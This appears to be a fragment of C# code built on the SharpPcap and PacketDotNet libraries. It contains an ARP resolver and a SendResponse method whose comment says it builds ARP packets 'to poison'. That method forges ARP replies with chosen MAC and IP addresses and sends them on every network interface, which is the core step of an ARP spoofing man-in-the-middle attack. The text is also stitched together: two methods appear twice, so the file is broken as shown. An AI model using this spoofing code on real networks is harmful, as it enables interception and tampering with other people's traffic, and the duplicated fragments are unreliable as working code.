private static void SendResponse(System.Net.NetworkInformation.PhysicalAddress pysSrc,
System.Net.NetworkInformation.PhysicalAddress pysdest,
IPAddress destAddrIp,
IPAddress myAddrIp) //builds arp packed and sends it to poison
{
CaptureDeviceList devices = CaptureDeviceList.Instance;
foreach (ICaptureDevice dev in devices)
{
dev.Open();
//System.Net.NetworkInformation.PhysicalAddress pysSrc = null;
//System.Net.NetworkInformation.PhysicalAddress pysdest = null;
//IPAddress destAddrIp = new IPAddress(null);
//IPAddress myAddrIp = new IPAddress(null);
try
{
var ethernetPacket = new PacketDotNet.EthernetPacket(pysSrc, pysdest, PacketDotNet.EthernetPacketType.Arp);
var arpPacket = new PacketDotNet.ARPPacket(PacketDotNet.ARPOperation.Response, pysdest, destAddrIp, pysSrc, myAddrIp);
ethernetPacket.PayloadPacket = arpPacket;
dev.SendPacket(ethernetPacket);
}
catch (Exception e)
{
}
}
}
private PacketDotNet.Packet BuildRequest(System.Net.IPAddress destinationIP,
PhysicalAddress localMac,
System.Net.IPAddress localIP)
{
// an arp packet is inside of an ethernet packet
var ethernetPacket = new PacketDotNet.EthernetPacket(localMac,
PhysicalAddress.Parse("FF-FF-FF-FF-FF-FF"),
PacketDotNet.EthernetPacketType.Arp);
var arpPacket = new PacketDotNet.ARPPacket(PacketDotNet.ARPOperation.Request,
PhysicalAddress.Parse("00-00-00-00-00-00"),
destinationIP,
localMac,
localIP);
// the arp packet is the payload of the ethernet packet
ethernetPacket.PayloadPacket = arpPacket;
return(ethernetPacket);
}
//builds arp packed and sends it to poison
private static void SendResponse(System.Net.NetworkInformation.PhysicalAddress pysSrc,
System.Net.NetworkInformation.PhysicalAddress pysdest,
IPAddress destAddrIp,
IPAddress myAddrIp)
{
CaptureDeviceList devices = CaptureDeviceList.Instance;
foreach (ICaptureDevice dev in devices)
{
dev.Open();
//System.Net.NetworkInformation.PhysicalAddress pysSrc = null;
//System.Net.NetworkInformation.PhysicalAddress pysdest = null;
//IPAddress destAddrIp = new IPAddress(null);
//IPAddress myAddrIp = new IPAddress(null);
try
{
var ethernetPacket = new PacketDotNet.EthernetPacket(pysSrc, pysdest, PacketDotNet.EthernetPacketType.Arp);
var arpPacket = new PacketDotNet.ARPPacket(PacketDotNet.ARPOperation.Response, pysdest, destAddrIp, pysSrc, myAddrIp);
ethernetPacket.PayloadPacket = arpPacket;
dev.SendPacket(ethernetPacket);
}
catch (Exception e)
{
}
}
}
/// <summary>
/// Resolves the MAC address of the specified IP address
/// </summary>
/// <param name="destIP">The IP address to resolve</param>
/// <param name="localIP">The local IP address from which to send the ARP request, if null the local address will be discovered</param>
/// <param name="localMAC">The localMAC address to use, if null the local mac will be discovered</param>
/// <returns>The MAC address that matches to the given IP address or
/// null if there was a timeout</returns>
public PhysicalAddress Resolve(System.Net.IPAddress destIP,
System.Net.IPAddress localIP,
PhysicalAddress localMAC)
{
// if no local ip address is specified attempt to find one from the adapter
if (localIP == null)
{
if (_device.Addresses.Count > 0)
{
// attempt to find an ipv4 address.
// ARP is ipv4, NDP is used for ipv6
foreach (var address in _device.Addresses)
{
if (address.Addr.type == LibPcap.Sockaddr.AddressTypes.AF_INET_AF_INET6)
{
// make sure the address is ipv4
if (address.Addr.ipAddress.AddressFamily == System.Net.Sockets.AddressFamily.InterNetwork)
{
localIP = address.Addr.ipAddress;
break; // break out of the foreach
}
}
}
// if we can't find either an ipv6 or an ipv4 address use the localhost address
if (localIP == null)
{
localIP = System.Net.IPAddress.Parse("127.0.0.1");
}
}
}
// if no local mac address is specified attempt to find one from the device
if (localMAC == null)
{
foreach (var address in _device.Addresses)
{
if (address.Addr.type == LibPcap.Sockaddr.AddressTypes.HARDWARE)
{
localMAC = address.Addr.hardwareAddress;
}
}
}
if (localIP == null)
{
throw new System.InvalidOperationException("Unable to find local ip address");
}
if (localMAC == null)
{
throw new System.InvalidOperationException("Unable to find local mac address");
}
//Build a new ARP request packet
var request = BuildRequest(destIP, localMAC, localIP);
//create a "tcpdump" filter for allowing only arp replies to be read
String arpFilter = "arp and ether dst " + localMAC.ToString();
//open the device with 20ms timeout
if (!_device.Opened)
{
_device.Open(DeviceMode.Promiscuous, 20);
}
//set the filter
_device.Filter = arpFilter;
// set a last request time that will trigger sending the
// arp request immediately
var lastRequestTime = DateTime.FromBinary(0);
var requestInterval = new TimeSpan(0, 0, 1);
PacketDotNet.ARPPacket arpPacket = null;
// attempt to resolve the address with the current timeout
var timeoutDateTime = DateTime.Now + Timeout;
while (DateTime.Now < timeoutDateTime)
{
if (requestInterval < (DateTime.Now - lastRequestTime))
{
// inject the packet to the wire
_device.SendPacket(request);
lastRequestTime = DateTime.Now;
}
//read the next packet from the network
var reply = _device.GetNextPacket();
if (reply == null)
{
continue;
}
// parse the packet
var packet = PacketDotNet.Packet.ParsePacket(reply.LinkLayerType, reply.Data);
// is this an arp packet?
arpPacket = (PacketDotNet.ARPPacket)packet.Extract(typeof(PacketDotNet.ARPPacket));
if (arpPacket == null)
{
continue;
}
//if this is the reply we're looking for, stop
if (arpPacket.SenderProtocolAddress.Equals(destIP))
{
break;
}
}
// the timeout happened
if (DateTime.Now >= timeoutDateTime)
{
return(null);
}
else
{
//return the resolved MAC address
return(arpPacket.SenderHardwareAddress);
}
}
private PacketDotNet.Packet BuildRequest(System.Net.IPAddress destinationIP,
PhysicalAddress localMac,
System.Net.IPAddress localIP)
{
// an arp packet is inside of an ethernet packet
var ethernetPacket = new PacketDotNet.EthernetPacket(localMac,
PhysicalAddress.Parse("FF-FF-FF-FF-FF-FF"),
PacketDotNet.EthernetPacketType.Arp);
var arpPacket = new PacketDotNet.ARPPacket(PacketDotNet.ARPOperation.Request,
PhysicalAddress.Parse("00-00-00-00-00-00"),
destinationIP,
localMac,
localIP);
// the arp packet is the payload of the ethernet packet
ethernetPacket.PayloadPacket = arpPacket;
return ethernetPacket;
}
